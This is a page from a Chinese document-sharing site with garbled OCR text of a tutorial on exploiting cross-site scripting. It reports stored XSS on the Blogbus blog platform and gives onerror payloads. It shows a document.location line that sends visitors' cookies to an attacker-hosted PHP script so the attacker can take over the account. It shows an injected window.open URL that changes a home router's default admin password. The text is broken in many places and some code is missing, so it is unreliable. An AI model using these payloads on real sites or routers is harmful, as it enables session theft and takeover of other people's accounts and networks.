跨站脚本攻击实例解析

上传人:cn****1 文档编号:510489665 上传时间:2024-02-15 格式:DOCX 页数:23 大小:1.33MB
返回 下载 相关 举报
跨站脚本攻击实例解析_第1页
第1页 / 共23页
跨站脚本攻击实例解析_第2页
第2页 / 共23页
跨站脚本攻击实例解析_第3页
第3页 / 共23页
跨站脚本攻击实例解析_第4页
第4页 / 共23页
跨站脚本攻击实例解析_第5页
第5页 / 共23页
点击查看更多>>
资源描述

《跨站脚本攻击实例解析》由会员分享,可在线阅读,更多相关《跨站脚本攻击实例解析(23页珍藏版)》请在金锄头文库上搜索。

1、跨站脚本攻击实例解析作者:泉哥主页:http:/_、八.、一前言跨站攻击,即Cross Site Script Execution(通常简写为XSS,因为CSS与层叠样式表同名,故改为XSS) 是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的 HTML 代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。 很多人对于XSS的利用大多停留在弹框框的程度,一些厂商对XSS也是不以为然,都认为安全级别 很低,甚至忽略不计。本文旨在讲述关于跨站攻击的利用方式,并结合实例进行分析。漏洞测试关于对 XSS 的漏洞测试,这里就以博客大巴为

2、例进行测试,最近我也在上面发现了多处跨站漏洞, 其中两处已公布在WooYun网站上,其主要内容如下:漏洞详情简要描述:博客大巴存储型XSS漏洞详细说明:在“个人信息设置”的“附加信息”一项中,由于对“个人简介”的内容过滤不严,导致可在博客首页实现跨站,而 在下方“添加一段附加信息”中,由于对“信息标题”内容过滤不严,同样可导致跨站的出现。但我刚又测试了一下,发现官方只修补了其中一个漏洞(个人简介),而另一个漏洞得在博客管理后 台才能触发,利用价值不大。与此同时我在对博客模板的测试中,又发现了五处跨站漏洞,估计这些 漏洞其实很早就有人发现了,只是没人公布或者报给blogbus后仍未修补。这次报给

3、WooYun的主要 目的是让blogbus修补此漏洞,因为我的博客就在上面! 7 其余五处漏洞分别在“编辑自定义模板” 中,由于对代码模块 head,index,index-post,detail,detail-post 等处的代码过滤不严,导致跨站的发生, 分别向其写入img src=# onerror=alert(head)v/img,为便于区别,我将提示语句更改为对应的名 称,前三项在首页可触发脚本,后两项需打开文章才可触发,测试结果如图1、2 所示:图 1(在首页触发)S3确定确定确定确定共目 bttc:/quan- 的方面泊:疋目 bttc:/quan-ge.blogbu.cDm 的

4、更西逆:疋目 btto:/quari-ge.blDgbu,CDm 的页贡泊:疋目 httcy/quan-e.blogbuz,izoni 的刃西猊:I .detail/I .cktail/图 2 (打开文章触发)对于其它网站的测试基本也是大同小异,除了手工测试外,你还可使用其它一些自动扫描工具,比如 Acunetix Web Scanner漏洞利用一、窃取 Cookie对于跨站的攻击方法,使用最多的莫过于 cookie 窃取了,获取 cookie 后直接借助“明小子”工具或 其它可修改cookie的浏览器(如装有Cookies Edit插件的Firefox)将cookie修改为获取的cookie

5、,这 样即可获得博客的管理权限。首先,我们在自定义模板的 head 代码模块中写入document.write();或者document.location = http:/localhost/test.php?cookie= + document.cookie;这里我把脚本放在本机上,你可以根据脚本地址来更改上面的localhost地址。以上两个均可达到同等效果,但就隐蔽性而言,前者的隐蔽性会更强些,读者可自行选择,当然也有其它语句可达到一样的 目的,就看你如何发挥了。接下来我们来编写上面的 test.php 文件,它主要用于获取对方的 cookie,其源代码如下:接下来我们访问博客首页,我这

6、里以http:/quan-为测试地址,访问后我们打开http:/localhost/cookie.txt看看cookie.txt文件是否被创建并写入数据,结果如图3所示:文件励也直冒 丐史书芟工旦帮肋迪IP: 127. 0. 0.1Date and Time: 2010-09-04 11:42:32User Agent:MozillaAl Q (indow.j U; Window.: NT 6. 1; zh-CN; ry : 1. 9. 2.); Gecko2010.0.722 (BT-beachli Refer er: http : / /guan吕 e. blogbus.ctun/-Coo

7、kie: _utma=422T2954. 11244::80.5. 12O33.2: 1283033.2;12S37467. 2; _utmz=42272954. 1237467羸 Acunetix 11 eb Scanner Start Scan T Abort Scan |Settings | J Advanced T | S匚anner status: Idl己.导哥t blog -博昌亠巴xhttp: /Io cal hi? st/c okie.bt图3很明显,我们已经成功窃取到cookie 了,剩下的事相信大家都知道,这里就不再赘述。二渗透路由器对于处于内网中的用户,我们可以利用 X

8、SS 来更改路由器密码。我们可以借助默认的密码来登陆路由器,比如URL: http:/admimadmin192.168.1.1,其实很多路由器都是使用默认密码,我这里这台 也是如此,直接以admin作为用户名和密码。首先我们先利用Firefox插件Live HTTP headers获取请 求头,如图 4 所示:HeadersGenerator匚 onfigAboutHTTP Headershttp :,7192.168.1 .1/li s e rRp m/C hangeLogin Pwd Rp m -htin J|oldnameadmin&old?a55v/Tdi=dmin&newnam=:

9、 GET /userRpm/ChangeLocjinPwdRpm.htrri?alclnaniF二日diTiin&aldp“ssv/ci|-cl二日dininSt己二 newadmin&iiE Host: 192.168.1.1User-Agent: Mozilla/5.D i Vindows: U; Vindows NT 6.1; zh-CN: r./:lL.2.8) Gecko/20100722 (ET-beachlife) Firt Accept: text/htrril,apphcatiqn/yhtm14-smlfapplication/xml;q=0念*几号=0.8Accept-La

10、ngLiage: zh-cn.zh;q=0.5Accept-En co di ng: gzip.deflateAccept-Charset-: GB2312,utf-8;q二0.7,.*;q= 0.7Keep-Alive: 115Conn ection: keep-aliveRefere: http:/l92.16E.1.1/nserRpm/ChjngeLoinPwdRpm htmAuthorization: B aeic YVRta1-46甲 VRE ;4=HTTP/1.1 200 olSeiver: RouterConn ection: close4Save All.Replay,.3 C

11、apture图4因此我们可以在head代码模块中写入以下语句:其中 1.js 源码如下:window.open(http:/admin:admin192.168.1.1/userRpm/ChangeLoginPwdRpm.htm?oldname=adm in&oldpassword=admin&newname=administrator&newpassword=password&newpassword2=passw ord&Save=%B1%A3+%B4%E6);下面我们试着用http:/newadmin:newpass192.168.1.1登陆,结果如图5所示:图5 可见密码已经修改成功!三

12、、读取本地文件在不同的浏览器中对本地文件的读取有着不同的限制,之前XEYE team曾有过统计,具体内容如下: 1: IE6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看 来MS对IE这类安全风险比较重视。2: FF3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。3: opera9.64及以下版本允许通过指定url为file:/协议进行访问;如果文件在当前目录下,则不需要指定file:/ 协议;如果文件在同一盘符下甚至可以超越目录的方式访问:././boot.ini。4:基于webkit内核:

13、google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.以上测试是利用ajax来读取文件的。但是我在windows7平台上用php测试各个最新版浏览器时发现:1、Firefox 3.6.10、搜狗浏览器 2.2.0.1423、Maxthon 2.5.14、IE8、Chrome 7.0.513.0、360 浏览器 3.5、 世界之窗3.2、TT浏览器4.8均可跨目录读取本地文件。2、Opera 10.70不允许读取本地文件,若是读取本地文件会直接给出警告,但你仍可选择继续读取。 我测试用的 PHP 脚本(该脚本位于 D:riuskskWebrootreader.php) 代码如下:?ph

展开阅读全文
相关资源
相关搜索

当前位置:首页 > 学术论文 > 其它学术论文

电脑版 |金锄头文库版权所有
经营许可证:蜀ICP备13022795号 | 川公网安备 51140202000112号